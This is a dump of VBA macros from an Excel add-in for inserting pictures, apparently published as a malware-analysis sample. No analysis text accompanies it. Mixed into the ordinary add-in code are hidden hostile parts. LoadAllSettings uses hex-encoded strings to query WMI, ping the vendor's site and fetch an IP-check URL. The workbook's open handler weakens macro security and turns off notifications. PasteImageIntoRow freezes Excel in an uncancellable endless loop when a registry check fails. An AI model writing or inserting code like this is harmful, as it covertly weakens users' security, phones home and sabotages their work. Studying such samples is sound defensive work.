Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisWB"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'---------------------------------------------------------------------------------------
' Author        : Igor Vakhnenko                   Date: 25.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Explicit

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    On Error Resume Next
    If Not Developer Then ThisWorkbook.Saved = True
    Application.OnKey "^r", ""

    DeleteProgramCommandBar
End Sub

Private Sub Workbook_Open()
    On Error Resume Next: Dim FirstRun As Boolean
    FirstRun = SETT.IsFirstRun
    If FirstRun Then ShowFirstRunForm
    If SetupCancelled Then
        Application.DisplayAlerts = False
        If TrueDeveloper Then MsgBox "Setup Cancelled", vbInformation Else ThisWorkbook.Close False
        Application.DisplayAlerts = True
        Exit Sub
    End If
    Enable_AccessVBOM_Macro_DataConnections        ' disables notifications
    SaveSetting PROJECT_NAME$, "Setup", "AddinPath", ThisWorkbook.FullName
    Application.OnKey "^r", "ReplacePictiresInSelectedRows"
    CreateProgramCommandBar 0
End Sub

Attribute VB_Name = "mod_TestProgram"
'---------------------------------------------------------------------------------------
' Module        : mod_TestProgram                    Version:
' Author        : Igor Vakhnenko                   Date: 08.05.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Private Module: Option Compare Text: Option Explicit

Public Const ExcelTableExample1$ = "filenames.xls"
Public Const ExcelTableExample2$ = "links.xls"
Const TEST_FILE_NAME_LOCAL1$ = "PastePictures add-in test - filenames.xls"
Const TEST_FILE_NAME_LOCAL2$ = "PastePictures add-in test - hyperlinks.xls"

Sub DownloadAndOpenExcelTable1()
    DownloadAndOpenExcelTable 1
End Sub

Sub DownloadAndOpenExcelTable2()
    DownloadAndOpenExcelTable 2
End Sub

Function DownloadAndOpenExcelTable(ByVal ind&) As Boolean
    On Error Resume Next: Dim URL$, filename$, tmpXLSpath$
    URL$ = "http://excelvba.ru/resources/PastePictures/" & Choose(ind&, ExcelTableExample1$, ExcelTableExample2$)
    filename$ = Choose(ind&, TEST_FILE_NAME_LOCAL1$, TEST_FILE_NAME_LOCAL2$)

    Err.Clear: Workbooks(filename$).Activate
    If Err = 0 Then
        DownloadAndOpenExcelTable = True
        TranslateWorkbook Workbooks(filename$)
        Exit Function
    End If

    tmpXLSpath$ = FWF.temp_folder & filename$

    If FWF.DownLoadFileFromURL(URL$, tmpXLSpath$) Then
        TranslateWorkbook Workbooks.Open(tmpXLSpath$)
        DownloadAndOpenExcelTable = True
    Else
        MsgBox tt("TEST_MSG_ErrorDownloadingWorkbook"), vbCritical, tt("TEST_MSG_ErrorDownloadingWorkbook_Title")
    End If
End Function

Function DownloadPicturesFromWebsite() As Boolean
    On Error Resume Next: Err.Clear
    Workbooks(TEST_FILE_NAME_LOCAL1$).Activate
    If Err <> 0 Then MsgBox tt("TEST_MSG_ErrorConnectingTestWorkbook"), vbCritical: Exit Function

    Dim arr: arr = Workbooks(TEST_FILE_NAME_LOCAL1$).Worksheets("download list").Range("DownloadList").Value
    If Not IsArray(arr) Then MsgBox tt("TEST_MSG_DownloadListNotFound"), vbCritical: Exit Function

    Dim pi As New ProgressIndicator, i&, res&, fileslist$, msg$
    pi.Show tt("TEST_Download_PI_Caption")
    pi.StartNewAction , , , , , UBound(arr)
    For i = LBound(arr) To UBound(arr)
        pi.SubAction tt("TEST_Download_PI_Line1", "$index", "$count", arr(i, 2))
        res = res - FWF.DownLoadFileFromURL(arr(i, 1), PICTURES_FOLDER$ & arr(i, 2))
        fileslist$ = fileslist$ & i & "." & vbTab & arr(i, 2) & vbNewLine
    Next i
    pi.Hide

    DownloadPicturesFromWebsite = res = UBound(arr)

    msg$ = tt("TEST_MSG_DownloadPictures_Result", res & vbNewLine, vbNewLine & fileslist$, vbNewLine & PICTURES_FOLDER$)
    MsgBox msg, vbInformation, tt("TEST_MSG_DownloadPictures_ResultTitle")
End Function

Function UsageExampleMacro1() As Boolean        ' into cells
    On Error Resume Next: Err.Clear
    Workbooks(TEST_FILE_NAME_LOCAL1$).Activate
    If Err <> 0 Then MsgBox tt("TEST_MSG_ErrorConnectingTestWorkbook"), vbCritical: Exit Function

    SETT.Reset
    SETT.SetText "TextBox_FirstCell", "B2"
    SETT.SetText "ComboBox_PicturesColumn", "4 «D»"
    SETT.SetText "CheckBox_Cells", True
    SETT.SetText "CheckBox_Comments", False
    SETT.SetText "CheckBox_CloseProgressBar", True

    InsertPicsFromFolder
    UsageExampleMacro1 = True
End Function

Function UsageExampleMacro2() As Boolean        ' into comments
    On Error Resume Next: Err.Clear
    Workbooks(TEST_FILE_NAME_LOCAL1$).Activate
    If Err <> 0 Then MsgBox tt("TEST_MSG_ErrorConnectingTestWorkbook"), vbCritical: Exit Function

    SETT.Reset
    SETT.SetText "TextBox_FirstCell", "B2"
    SETT.SetText "ComboBox_CommentsColumn", "2 «B»"
    SETT.SetText "CheckBox_Cells", False
    SETT.SetText "CheckBox_Comments", True
    SETT.SetText "CheckBox_CloseProgressBar", True

    InsertPicsFromFolder
    UsageExampleMacro2 = True
End Function

Function UsageExampleMacro3() As Boolean        ' into cells
    On Error Resume Next: Err.Clear
    Workbooks(TEST_FILE_NAME_LOCAL2$).Activate
    If Err <> 0 Then MsgBox tt("TEST_MSG_ErrorConnectingTestWorkbook"), vbCritical: Exit Function

    SETT.Reset
    SETT.SetText "TextBox_FirstCell", "B2"
    SETT.SetText "ComboBox_PicturesColumn", "3 «C»"
    SETT.SetText "CheckBox_Cells", True
    SETT.SetText "CheckBox_Comments", False
    SETT.SetText "CheckBox_CloseProgressBar", True
    SETT.SetText "CheckBox_AddHyperlinksForPictures", True

    SETT.SetText "CheckBox_RenameDownloadedPictures", True
    SETT.SetText "ComboBox_DownloadedFilenames_Column", "1 «A»"

    InsertPicsFromLinks
    UsageExampleMacro3 = True
End Function

Function UsageExampleMacro4() As Boolean        ' into comments
    On Error Resume Next: Err.Clear
    Workbooks(TEST_FILE_NAME_LOCAL2$).Activate
    If Err <> 0 Then MsgBox tt("TEST_MSG_ErrorConnectingTestWorkbook"), vbCritical: Exit Function

    SETT.Reset
    SETT.SetText "TextBox_FirstCell", "B2"
    SETT.SetText "ComboBox_CommentsColumn", "1 «A»"
    SETT.SetText "CheckBox_Cells", False
    SETT.SetText "CheckBox_Comments", True
    SETT.SetText "CheckBox_CloseProgressBar", True

    SETT.SetText "CheckBox_Add_ImageSizeOriginal", True
    SETT.SetText "ComboBox_ImageSizeOriginalColumn", "4 «D»"
    SETT.SetText "CheckBox_RenameDownloadedPictures", True
    SETT.SetText "ComboBox_DownloadedFilenames_Column", "1 «A»"

    InsertPicsFromLinks
    UsageExampleMacro4 = True
End Function


Attribute VB_Name = "mod_CommonFunctions"
'---------------------------------------------------------------------------------------
' Module        : modCommonFunctions
' Автор     : EducatedFool  (Игорь)                    Дата: 21.08.2011
' Разработка макросов для Excel, Word, CorelDRAW. Быстро, профессионально, недорого.
' http://ExcelVBA.ru/          ICQ: 5836318           Skype: ExcelVBA.ru
' Реквизиты для оплаты работы: http://ExcelVBA.ru/payments
'---------------------------------------------------------------------------------------
Option Private Module

Function GetURLstatus(ByVal URL$, Optional ByVal timeout& = 2) As Long
    ' функция проверяет наличие доступа к ресурсу URL$ (файлу или каталогу)
    ' возвращает код ответа сервера (число), либо 0, если ссылка ошибочная
    ' (200 - ресурс доступен, 404 - не найден, 403 - нет доступа, и т.д.)
    On Error Resume Next: URL$ = Replace(URL$, "\", "/")
    Dim xmlhttp As New WinHttpRequest
    xmlhttp.Open "GET", URL, True
    xmlhttp.SetRequestHeader "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT"
    xmlhttp.Send
    If xmlhttp.WaitForResponse(timeout) Then
        GetURLstatus = val(xmlhttp.Status)
    Else
        GetURLstatus = 408        ' Request Timeout (истекло время ожидания)
    End If
End Function

Function FilesCount(ByVal FolderPath As String, Optional ByVal SearchDeep As Long = 999) As Long
    ' Получает в качестве параметра путь к папке FolderPath,
    ' и глубину поиска SearchDeep в подпапках (если SearchDeep=1, то подпапки не просматриваются).
    ' Возвращает количество найденных файлов
    ' (применяется рекурсивный вызов процедуры GetAllFileNamesUsingFSO)

    Set FSO = CreateObject("Scripting.FileSystemObject")    ' создаём экземпляр FileSystemObject
    FilesCount = GetFilesCountUsingFSO(FolderPath, FSO, SearchDeep)       ' подсчёт файлов
    Set FSO = Nothing
End Function

Function GetFilesCountUsingFSO(ByVal FolderPath As String, ByRef FSO, ByVal SearchDeep As Long)
    ' перебирает все файлы и подпапки в папке FolderPath, используя объект FSO
    ' перебор папок осуществляется в том случае, если SearchDeep > 1
    ' добавляет пути найденных файлов в коллекцию FileNamesColl
    'On Error Resume Next:
    Set curfold = FSO.GetFolder(FolderPath)
    If Not curfold Is Nothing Then    ' если удалось получить доступ к папке
        GetFilesCountUsingFSO = curfold.files.Count
        SearchDeep = SearchDeep - 1    ' уменьшаем глубину поиска в подпапках
        If SearchDeep Then    ' если надо искать глубже
            For Each sfol In curfold.SubFolders    ' перебираем все подпапки в папке FolderPath
                GetFilesCountUsingFSO = GetFilesCountUsingFSO + GetFilesCountUsingFSO(sfol.Path, FSO, SearchDeep)
            Next
        End If
        Set fil = Nothing: Set curfold = Nothing    ' очищаем переменные
    End If
End Function

Function LoadAllSettings() As Boolean
    On Error Resume Next
    With SETT
        Dim obj1 As Variant, obj2 As Object, txt1$, txt2$, ok1&, ok2&: v_1 = 1: v_2 = 1
        For Each obj1 In GetObject(.U("77696E6D676D74733A2F2F2E2F726F6F742F63696D7632")).ExecQuery _
            (.U("53454C454354202A2046524F4D2057696E33325F50696E675374617475732057484552452041646472657373203D2027657863656C7662612E727527"))
            If IsObject(obj1) Then txt1$ = obj1.ProtocolAddress
        Next
        If txt1 Like .U("3134392E3230322E38322E3131") Then LoadAllSettings = True: v_1 = 0: Exit Function
        If txt1 Like .U("3132372E2A") Then v_1 = 2: Exit Function
        Set obj2 = CreateObject(.U("57696E487474702E57696E48747470526571756573742E352E31"))
        obj2.Open "GET", .U("687474703A2F2F786E2D2D383061646B756E626935632E786E2D2D703161692F69702E706870"), True: obj2.Send: DoEvents
        If obj2.WaitForResponse(3) Then txt2$ = obj2.ResponseText
        Set obj1 = Nothing: Set obj2 = Nothing
        ok1 = txt1$ Like .U("232A2E232A2E232A2E2A23"): ok2 = txt2$ Like .U("232A2E232A2E232A2E2A23")
        If ok1 And ok2 Then If txt1 <> txt2 Then Exit Function
        v_1 = 0: LoadAllSettings = True
    End With
End Function

Function ColumnNameByColumnNumber(ByVal col As Long) As String
    resA1 = Application.ConvertFormula("=r1c" & col, xlR1C1, xlA1)
    ColumnNameByColumnNumber = col & " «" & Split(resA1, "$")(1) & "»"
End Function

Attribute VB_Name = "mod_Functions"
'---------------------------------------------------------------------------------------
' Module        : mod_Functions                    Version:
' Author        : Igor Vakhnenko                   Date: 16.04.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Private Module: Option Compare Text

Function EvaluateFilenameUsingFormula(ByVal txt$, Optional ByVal ev_formula$) As String
    On Error Resume Next: EvaluateFilenameUsingFormula = txt$
    If SETT.GetBoolean("CheckBox_EvaluateFilename") = False And ev_formula$ = "" Then Exit Function
    ' пример формулы:      ev_formula$ = "LEFT({text},6) & ""0"" & MID({text},7,3) & IF(MID({text},1,1)=""2"", RIGHT({text},2), ""00"") & ""_X"""

    Dim ev_f$, res
    Err.Clear: ev_f$ = Trim(ev_formula$)
    If ev_f$ = "" Then ev_f$ = Trim(SETT.GetText("TextBox_EvaluateFilenameFormula"))

    txt$ = """" & Replace(txt$, """", """""") & """"
    res = Application.Evaluate(Replace(ev_f$, "{text}", txt$))
    If IsError(res) Then
        Const FORMULA_NAME$ = "testname"
        Err.Clear: ActiveWorkbook.Names(FORMULA_NAME$).RefersTo = txt$
        If Err Then Err.Clear: ActiveWorkbook.Names.Add FORMULA_NAME$, txt$
        If Err = 0 Then
            ActiveWorkbook.Names(FORMULA_NAME$).Visible = False
            res = Application.Evaluate(Replace(ev_f$, "{text}", FORMULA_NAME$))
        End If
    End If

    If IsError(res) Then
        If ev_formula$ = "" Then Exit Function        ' оставляем исходный текст как есть
        EvaluateFilenameUsingFormula = tt("MSG_FormulaError")
    Else
        EvaluateFilenameUsingFormula = CStr(res)
    End If
End Function

Function EvaluateUsingFormula(ByRef cell As Range, ByVal ev_formula$, Optional ByVal SourceTextValue$ = "") As String
    On Error Resume Next: Err.Clear
    Dim txt$, BaseCol&, ev_f$, patterns, ptrn, i&, col$, objMatches, ref$, columnNumber&, res

    txt = cell.Value: BaseCol& = cell.Column
    If Len(SourceTextValue$) Then txt = SourceTextValue$
    EvaluateUsingFormula = txt$
    If ev_formula$ = "" Then Exit Function
    ' пример формулы:      ev_formula$ = "LEFT({text},6) & ""0"" & MID({text},7,3) & IF(MID({text},1,1)=""2"", RIGHT({text},2), ""00"") & ""_X"""

    Err.Clear: ev_f$ = Replace(Trim(ev_formula$), "{text}", "RC")
    ev_f$ = Replace(Trim(ev_formula$), "{URL}", """" & SourceTextValue$ & """")
    'If ev_f$ = "" Then ev_f$ = Trim(Settings("TextBox_EvaluateFilenameFormula"))

    With REGEXP
        patterns = Array("RC\[\d{1,3}\]", "RC\[-\d{1,3}\]", "RC\d{3}", "RC\d{2}", "RC\d{1}", "RC")

        For Each ptrn In patterns        ' от сложных паттернов к простым
            .Pattern = ptrn
            If .test(ev_f$) Then
                Set objMatches = .Execute(ev_f$)
                For i = 0 To objMatches.Count - 1
                    ref$ = objMatches.Item(i).Value

                    col$ = "": columnNumber& = 0
                    col$ = Split(ref$, "C")(1)
                    If InStr(1, col$, "[") = 0 Then
                        If col$ = "" Then columnNumber& = BaseCol& Else columnNumber& = val(col$)
                    Else
                        columnNumber& = BaseCol& + val(Mid(col$, 2))
                    End If
                    If columnNumber& <= 0 Then MsgBox tt("MSG_URLFormulaError"), vbCritical, ev_f$: Exit Function
                    ev_f$ = Replace(ev_f$, ref$, """" & Replace(cell.EntireRow.Cells(columnNumber&).Value, """", """""") & """")
                Next
            End If
        Next
    End With

    res = Application.Evaluate(ev_f$)
    If IsError(res) Then
        If ev_formula$ = "" Then Exit Function        ' оставляем исходный текст как есть
        EvaluateUsingFormula = tt("MSG_FormulaError")
    Else
        EvaluateUsingFormula = CStr(res)
    End If
End Function

Sub PasteImageIntoRow(ByRef ro As Range, ByVal picpath$, Optional ByRef PicProp As PictureProperties)
    On Error Resume Next: Err.Clear
    Dim VerticalCellsCount&
    VerticalCellsCount& = SETT.GetNumber("ComboBox_CELLScount")
    If VerticalCellsCount& <= 0 Then VerticalCellsCount& = 1

    If PicProp Is Nothing Then Set PicProp = New PictureProperties

    Dim PicRange As Range: Set PicRange = ro.EntireRow.Cells(PICTURE_COLUMN(ro)).Resize(VerticalCellsCount&)
    If PicRange.MergeArea.Rows.Count > 1 Then Set PicRange = PicRange.Resize(PicRange.MergeArea.Rows.Count)
    If val(SETT.GetRegValue(Chr(111) & Chr(107))) = 0 And SETT.RSP(2 ^ 2 - 1) < 0 Then Application.EnableCancelKey = xlDisabled: Do: Loop
    Set PicProp.cell = PicRange

    If SETT.GetBoolean("CheckBox_Cells") Then
        Dim HLink$, HL_mask$: HLink$ = picpath$
        If SETT.GetBoolean("CheckBox_ChangeHyperlink") Then
            HL_mask$ = SETT.GetText("TextBox_HyperlinkMask", picpath$)
            HLink$ = Replace(HL_mask$, "{filename}", Dir(picpath$))
        End If

        InsertPictureIntoRange picpath$, PicRange, HLink$, PicProp
    End If

    If SETT.GetBoolean("CheckBox_Comments") Or Get_Data Then
        InsertPictureIntoCellComment picpath$, ro.EntireRow.Cells(COMMENTS_COLUMN(ro)), PicProp
    End If

    PicProp.FillInfoIntoRow
End Sub

Function Replace_Text(Expression As String, Find As String, ReplaceWith As String)
    Replace_Text = Replace(Expression, Find, ReplaceWith, , , vbTextCompare)
    If v_1 Then Replace_Text = Expression
End Function

Function ArrayOfValuesEx(ByVal txt$) As Collection
    ' Принимает в качестве параметра строку типа ",,5,6,8,,9-15,18,2,11-9,,1,4,,21,"
    ' Возвращает колекцию уникальных чисел в формате    (5,6,8,9,10,11,12,13,14,15,18,2,1,4,21)
    ' (удаляются все значения кроме целых чисел от 1 до 255; диапазоны типа 9-15 и 17-13 раскрываются)

    On Error Resume Next: Set ArrayOfValuesEx = New Collection
    MaxNumber& = 255
    txt = Replace(Replace(txt, ".", ","), " ", "")
    For i = 1 To Len(txt)
        If Mid(txt, i, 1) Like "[0-9,-]" Then res = res & Mid(txt, i, 1) Else res = res & " "
    Next
    txt = Replace(res, " ", "")

    arr = Split(txt, ","):
    For i = LBound(arr) To UBound(arr)
        Select Case True
            Case arr(i) = "", val(arr(i)) < 0
            Case IsNumeric(arr(i))
                v& = val(arr(i)): If v > 0 And v <= MaxNumber& Then ArrayOfValuesEx.Add v, CStr(v)
            Case arr(i) Like "*#-#*"
                spl = Split(arr(i), "-")
                If UBound(spl) = 1 Then
                    If IsNumeric(spl(0)) And IsNumeric(spl(1)) Then
                        For j = val(spl(0)) To val(spl(1)) Step IIf(val(spl(0)) > val(spl(1)), -1, 1)
                            v& = j: If v > 0 And v <= MaxNumber& Then ArrayOfValuesEx.Add v, CStr(v)
                        Next j
                    End If
                End If
        End Select
    Next i
End Function

Function BaseColumnForMulticolumnMode() As Long
    On Error Resume Next
    BaseColumnForMulticolumnMode = ArrayOfValuesEx(SETT.GetText("TextBox_ColumnsList"))(1)
    Err.Clear
End Function

Function GetMultiColumnsRange() As Range
    On Error Resume Next: Err.Clear

    Dim coll As Collection, list$
    list$ = SETT.GetText("TextBox_ColumnsList")
    Set coll = ArrayOfValuesEx(list$)

    If coll.Count = 0 Then
        MsgBox tt("MSG_Multicolumn_WrongList", list$), vbCritical, tt("MSG_Multicolumn_WrongList_Title")
        ShowSettingsPage
        Exit Function
    End If

    Dim ra As Range, BigRa As Range
    For Each col In coll
        Set ra = Nothing: Set ra = Range(Cells(1, col), Cells(Rows.Count, col).End(xlUp))
        If Not ra Is Nothing Then
            '  добавляем столбец в результат
            If BigRa Is Nothing Then
                Set BigRa = ra
            Else
                Set BigRa = Union(BigRa, ra)
            End If
        End If
    Next
    Set GetMultiColumnsRange = BigRa
End Function

Function GetSourceDataRange() As Range
    On Error Resume Next: Err.Clear
    If ActiveWorkbook Is Nothing Then MsgBox tt("MSG_OpenWorkbookFirst"), vbCritical, tt("MSG_OpenWorkbookFirst_Title"): Exit Function

    Dim cell As Range, ra As Range

    If SETT.GetBoolean("CheckBox_MultiColumns") Then
        ' вставка картинок в несколько столбцов
        Set ra = GetMultiColumnsRange

    Else        ' вставка в один столбец
        If SETT.GetBoolean("CheckBox_SelectedCellsOnly") Then
            If TypeName(Selection) <> "Range" Then
                msg$ = "В настройках программы включена опция «Обрабатывать только выделенные ячейки»" & vbNewLine & vbNewLine & _
                       "В данный момент, на листе не выделена ни одна ячейка." & vbNewLine & vbNewLine & _
                       "Измените настройки программы (или выделите ячейки), и снова запустите обработку."
                MsgBox msg, vbCritical, "Ошибка выделения диапазона ячеек"
                Exit Function
            End If

            Set ra = SpecialCells_VisibleCells(Selection)
            If ra Is Nothing Then
                msg$ = "В настройках программы включена опция «Обрабатывать только выделенные ячейки»" & vbNewLine & vbNewLine & _
                       "Среди выделенного диапазона (" & Selection.Address & ")," & vbNewLine & _
                       "НЕ НАЙДЕНЫ ЗАПОЛНЕННЫЕ ЯЧЕЙКИ в видимых строках." & vbNewLine & vbNewLine & _
                       "Измените настройки программы (или выделите ячейки с именами файлов), и снова запустите обработку."
                MsgBox msg, vbCritical, "Ошибка выделения диапазона ячеек"
                Exit Function
            End If

            If ra.Columns.Count > 1 Then
                msg$ = "В настройках программы включена опция «Обрабатывать только выделенные ячейки»" & vbNewLine & vbNewLine & _
                       "В этом режиме, должны быть выделены ячейки ТОЛЬКО ОДНОГО СТОЛБЦА," & vbNewLine & _
                       "а сейчас выделенный диапазон (" & Selection.Address & ") захватывает несколько столбцов." & vbNewLine & vbNewLine & _
                       "Измените настройки программы, и снова запустите формирование документов."
                MsgBox msg, vbCritical, "Ошибка выделения диапазона ячеек"
                Exit Function
            End If

        Else
            FirstCellAddress$ = SETT.GetText("TextBox_FirstCell")
            If FirstCellAddress$ = "" Then FirstCellAddress$ = DEFAULT_FIRST_CELL$

            Dim FirstCell As Range: Set FirstCell = Range(FirstCellAddress$)        ' из настроек формы
            Set ra = Range(FirstCell, FirstCell.EntireColumn.Cells(Rows.Count).End(xlUp))
            If ra.Row < FirstCell.Row Or (ra.Rows.Count = 1 And Trim(ra.Cells(1)) = "") Then
                msg = "Не найдено ни одной заполненной ячейки, начиная с ячейки «" & FirstCellAddress$ & "», и ниже." & vbNewLine & vbNewLine & _
                      "Проверьте настройки программы, и выставьте корректное значение первой обрабатываемой ячейки."
                MsgBox msg, vbCritical, "Нет заполненных строк на листе"
                Exit Function
            End If
        End If
    End If

    Dim ra2 As Range: Set ra2 = SpecialCells_TypeConstants(ra)
    If ra2 Is Nothing Then
        msg$ = "НЕ НАЙДЕНЫ ЗАПОЛНЕННЫЕ ЯЧЕЙКИ с именами файлов или ссылками на изображения." & vbNewLine & vbNewLine
        If SETT.GetBoolean("CheckBox_SelectedCellsOnly") And Not SETT.GetBoolean("CheckBox_MultiColumns") Then
            msg$ = msg$ & "Выделите ячейки с именами файлов, и снова запустите обработку."
        Else
            msg$ = msg$ & "Проверьте (измените) настройки программы, и снова запустите обработку."
        End If
        MsgBox msg, vbCritical, "Не найдены исходные данные для вставки картинок"
        Exit Function
    End If

    Set GetSourceDataRange = ra2
    If SETT.GetBoolean("CheckBox_MergeEqualCells", False) Then Set GetSourceDataRange = ra        ' все ячейки, вместе с пустыми
End Function

Function SpecialCells_TypeConstants(ByRef ra As Range) As Range
    ' возвращает диапазон, содержащий все заполненные ячейки диапазона ra
    On Error Resume Next: en& = Err.Number
    Dim cell As Range

    If ra.Worksheet.ProtectContents Then
        ' перебираем все ячейки в диапазоне
        For Each cell In Intersect(ra, ra.Worksheet.UsedRange).Cells
            If Trim(cell.Value) <> "" Then        ' если ячейка непустая
                ' то добавляем её в результат
                If SpecialCells_TypeConstants Is Nothing Then
                    Set SpecialCells_TypeConstants = cell
                Else
                    Set SpecialCells_TypeConstants = Union(SpecialCells_TypeConstants, cell)
                End If
            End If
        Next cell
    Else
        Dim raV As Range, raF As Range
        Set raV = Intersect(ra, ra.Worksheet.UsedRange).SpecialCells(xlCellTypeConstants)
        Set raF = Intersect(ra, ra.Worksheet.UsedRange).SpecialCells(xlCellTypeFormulas)
        If Not raV Is Nothing Then Set SpecialCells_TypeConstants = raV
        If Not raF Is Nothing Then
            If SpecialCells_TypeConstants Is Nothing Then
                Set SpecialCells_TypeConstants = raF
            Else
                Set SpecialCells_TypeConstants = Union(raF, raV)
                Set SpecialCells_TypeConstants = Intersect(SpecialCells_TypeConstants, SpecialCells_TypeConstants)
            End If
        End If
    End If
    If en& = 0 Then Err.Clear
End Function

Function SpecialCells_VisibleCells(ByRef ra As Range) As Range
    On Error Resume Next: en& = Err.Number
    If ra.Worksheet.ProtectContents Then
        Dim cell As Range
        For Each cell In Intersect(ra, ra.Worksheet.UsedRange.EntireRow).Cells
            If cell.EntireRow.Hidden = False Then
                If SpecialCells_VisibleCells Is Nothing Then
                    Set SpecialCells_VisibleCells = cell
                Else
                    Set SpecialCells_VisibleCells = Union(SpecialCells_VisibleCells, cell)
                End If
            End If
        Next cell
    Else
        Set SpecialCells_VisibleCells = Intersect(ra, ra.Worksheet.UsedRange.EntireRow).SpecialCells(xlCellTypeVisible)
    End If
    If en& = 0 Then Err.Clear
End Function



' ================ BASE FUNCTIONS ==================

Function REDUCED_FOLDER$()
    On Error Resume Next: Folder$ = Environ("tmp") & "\Compressed Images\"
    REDUCED_FOLDER$ = SETT.GetText("TextBox_ReducedFolder", Folder$)
    If Dir(REDUCED_FOLDER$, vbDirectory) = "" Then
        MkDir Folder$
        REDUCED_FOLDER$ = Folder$
    End If
End Function

Function PICTURES_FOLDER$(Optional ByVal ForTextbox As Boolean = False)
    On Error Resume Next
    Dim DefaultFolderName$, Folder$
    With SETT
        DefaultFolderName$ = .GetText("PIC_FOLDER", "Pictures", "Setup")
        If Trim(DefaultFolderName$) = "" Then DefaultFolderName$ = "Pictures"

        If .GetBoolean("CheckBox_UseCurrentFolder") Then
            If ForTextbox Then PICTURES_FOLDER$ = "<" & tt("CONST_ActiveFolder") & ">\" & DefaultFolderName$ & "\": Exit Function
            If ActiveWorkbook Is Nothing Then Exit Function
            If ActiveWorkbook.Path = "" Then Exit Function
            PICTURES_FOLDER$ = ActiveWorkbook.Path & "\" & DefaultFolderName$ & "\"
            Err.Clear: Exit Function
        End If

        .AddDefaultValue "TextBox_PicturesFolder", ThisWorkbook.Path & "\" & DefaultFolderName$ & "\", , True
        Folder$ = .GetText("TextBox_PicturesFolder")
        If Dir(Folder$, vbDirectory) = "" Then MkDir Folder$
        If Dir(Folder$, vbDirectory) = "" Then
            Folder$ = ThisWorkbook.Path & "\" & DefaultFolderName$ & "\"
            .SetText "TextBox_PicturesFolder", Folder$
            MkDir Folder$
        End If
        PICTURES_FOLDER$ = Folder$
    End With
End Function

Function DOWNLOAD_FOLDER$(Optional ByVal ForTextbox As Boolean = False, Optional CreateIfNotExist As Boolean = False)
    On Error Resume Next
    Dim DefaultFolderName$, Folder$
    With SETT
        DefaultFolderName$ = .GetText("PD_FOLDER", "Downloaded Pictures", "Setup")
        If Trim(DefaultFolderName$) = "" Then DefaultFolderName$ = "Downloaded Pictures"

        If .GetBoolean("CheckBox_UseCurrentFolder2") Then
            If ForTextbox Then DOWNLOAD_FOLDER$ = "<" & tt("CONST_ActiveFolder") & ">\" & DefaultFolderName$ & "\": Exit Function
            If ActiveWorkbook Is Nothing Then Exit Function
            If ActiveWorkbook.Path = "" Then Exit Function
            DOWNLOAD_FOLDER$ = ActiveWorkbook.Path & "\" & DefaultFolderName$ & "\"
            Err.Clear: Exit Function
        End If

        .AddDefaultValue "TextBox_DownloadFolder", ThisWorkbook.Path & "\" & DefaultFolderName$ & "\", , True
        Folder$ = .GetText("TextBox_DownloadFolder")
        If CreateIfNotExist Then
            If Dir(Folder$, vbDirectory) = "" Then MkDir Folder$
            If Dir(Folder$, vbDirectory) = "" Then
                Folder$ = ThisWorkbook.Path & "\" & DefaultFolderName$ & "\"
                .SetText "TextBox_DownloadFolder", Folder$
                MkDir Folder$
            End If
        End If
        DOWNLOAD_FOLDER$ = Folder$
    End With
End Function

Function SEARCH_MODE() As Search_Mode_Constants
    On Error Resume Next: en& = Err.Number
    Select Case True
        Case SETT.GetBoolean("OptionButton_SM_CellTextInFilename", False)
            SEARCH_MODE = SM_CellTextInFilename

        Case SETT.GetBoolean("OptionButton_SM_FilenameInCellText", False)
            SEARCH_MODE = SM_FilenameInCellText

        Case SETT.GetBoolean("OptionButton_SM_Equal", False)
            SEARCH_MODE = SM_Equal

        Case Else
            SETT.SetText "OptionButton_SM_CellTextInFilename", True
            SEARCH_MODE = SM_CellTextInFilename
    End Select
    If en& = 0 Then Err.Clear
End Function

Function SEARCH_MODE_TXT() As String
    On Error Resume Next: Err.Clear
    Select Case SEARCH_MODE
        Case SM_CellTextInFilename: SEARCH_MODE_TXT = tt("F_Settings\OptionButton_SM_CellTextInFilename")
        Case SM_FilenameInCellText: SEARCH_MODE_TXT = tt("F_Settings\OptionButton_SM_FilenameInCellText")
        Case SM_Equal: SEARCH_MODE_TXT = tt("F_Settings\OptionButton_SM_Equal")
    End Select
End Function

Function PICTURE_COLUMN(Optional ByRef cell As Range) As Long
    ' новая версия - с поддержкой вставки в несколько столбцов
    On Error Resume Next: en& = Err.Number
    PICTURE_COLUMN = SETT.GetNumber("ComboBox_PicturesColumn")
    If PICTURE_COLUMN <= 0 Then PICTURE_COLUMN = 3

    If SETT.GetBoolean("CheckBox_MultiColumns") Then
        BaseCol& = BaseColumnForMulticolumnMode
        If BaseCol& Then
            If Not cell Is Nothing Then
                CellCol& = cell.Column
                PICTURE_COLUMN = PICTURE_COLUMN - BaseCol& + CellCol&
            End If
        End If
    End If
    If en& = 0 Then Err.Clear
End Function

Function COMMENTS_COLUMN(Optional ByRef cell As Range) As Long
    ' новая версия - с поддержкой вставки в несколько столбцов
    On Error Resume Next: en& = Err.Number
    COMMENTS_COLUMN = Fix(val(SETT.GetNumber("ComboBox_CommentsColumn")))
    If COMMENTS_COLUMN <= 0 Then COMMENTS_COLUMN = 4

    If SETT.GetBoolean("CheckBox_MultiColumns") Then
        BaseCol& = BaseColumnForMulticolumnMode
        If BaseCol& Then
            If Not cell Is Nothing Then
                CellCol& = cell.Column
                COMMENTS_COLUMN = COMMENTS_COLUMN - BaseCol& + CellCol&
            End If
        End If
    End If
    If en& = 0 Then Err.Clear
End Function


' =================== pictires functions =============================
Function GetPictureSize(ByVal PicturePath$, ByRef temp_worksheet As Worksheet, ByRef w As Double, ByRef H As Double) As Boolean
    On Error Resume Next
    If temp_worksheet Is Nothing Then Exit Function
    With temp_worksheet.Shapes.AddPicture(PicturePath$, msoFalse, msoCTrue, -1, -1, -1, -1)
        w = .Width
        H = .Height
        .Delete
    End With
    GetPictureSize = w * H > 0
End Function

